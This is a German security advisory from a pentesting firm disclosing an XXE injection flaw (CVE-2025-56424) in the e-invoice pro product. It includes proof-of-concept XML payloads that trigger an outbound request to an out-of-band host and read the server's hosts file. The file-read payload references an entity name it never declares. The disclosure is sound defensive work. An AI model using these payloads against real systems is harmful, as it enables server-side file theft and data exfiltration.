XML External Entity (XXE) Injection in e-invoice pro (CVE-2025-56424)

Home / Blog / XML External Entity (XXE) Injection in e-invoice pro (CVE-2025-56424)

Übersicht

Betroffenes Produkt: e-invoice pro von Insiders Technologies GmbH – Versionen vor Release 1 Service Pack 2
CVSS-Bewertung (v3.1): 7.6 (Hoch)
Zugewiesene CVE: CVE-2025-56424
Empfehlung: Update zu Release 1 Service Pack 2 oder höher
Credit: Simon Holl und Lucas Noki von der MindBytes GmbH
Die Komponente verarbeitet Benutzereingaben in XML-Eingangsrechnungen (E-Rechnungen) ohne Validierung. Das können Angreifer dazu nutzen, um auf lokale Serverdateien zuzugreifen, eine Verbindung ins Internet aufbauen oder die Server-Ressourcen zu überlasten. Eine Person muss gegebenenfalls manuell die vom Angreifer gesendete manipulierte Eingangsrechnung für die automatisierte Verabeitung an die verwundbare Komponente weiterleteiten.

Denkbare Angriffsszenarien sind beispielsweise das Auslesen und Senden von Server-Dateien an ein vom Angreifer kontrolliertes System oder das Überlasten des Servers.

Technische Details

e-invoice pro empfängt und verarbeitet die Eingangsrechnung (E-Rechnung) im XML-Format. Dabei ist der XML-Parser so konfiguriert, dass er enthaltene DTDs (Document Type Definition) verarbeitet. Das ermöglicht beispielsweise die nachfolgenden Angriffe:

Verbindungen ins Internet aufbauen

Den folgenden Inhalt haben wir an den Anfang einer Eingangsrechnung geschrieben. Beim Verarbeiten der Datei beachtet der XML-Parser die eingefügte Definition des Elements root. Das löst eine HTTP-Anfrage an die hinterlegte Domäne aus.

<!DOCTYPE root [
    <!ENTITY % ext SYSTEM "http://eingangsrechnung-xxe-http.nvmgf0kcoslrpedhrhi368rcm3sugm4b.oastify.com/"> %ext;
]>

Die nachfolgende Abbildung zeigt die Interaktion mit der hinterlegten Domäne. Es ist zu sehen, dass das System, auf dem die betroffene Komponente läuft, zunächst die Domäne per DNS auflöste und anschließend die HTTP Anfrage sendete.

Interaktion mit dem Burp Collaborator nach Ausnutzen der Schwachstelle

Auf lokale Serverdateien zugreifen

Den folgenden Inhalt haben wir an den Anfang einer Eingangsrechnung geschrieben. Beim Verarbeiten der Datei beachtet der XML-Parser die eingefügte Definition des Elements root. Der XML-Parser befüllt das referenzierte Element root automatisch mit dem Inhalt der hosts-Datei.


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///C:/Windows/System32/drivers/etc/hosts'>]>
<ubl:Invoice ...
    [...]
    <cac:AccountingSupplierParty>
        <cac:Party>
            [...]
            <cac:PartyLegalEntity>
                <cbc:RegistrationName>&root;</cbc:RegistrationName>
            </cac:PartyLegalEntity>

Die nachfolgende Abbildung zeigt, dass der Dateiinhalt als Name des Rechnungsstellers in der Oberfläche einsehbar ist. Ein externer Angreifer hat typischerweise keinen Zugriff auf die Weboberfläche. In Kombination mit dem Senden von HTTP-Anfragen könnte ein Angreifer den Dateiinhalt bei einem Angriff auch an ein System im Internet senden. Diese Möglichkeit haben wir während unserer Tests nicht geprüft.

Auslesen einer Server-Datei durch eine manipulierte Eingangsrechnung

Projekt in Planung?

Egal, ob Pentest, Red Teaming oder individueller Wunsch –
wir freuen uns, mit dir zu sprechen!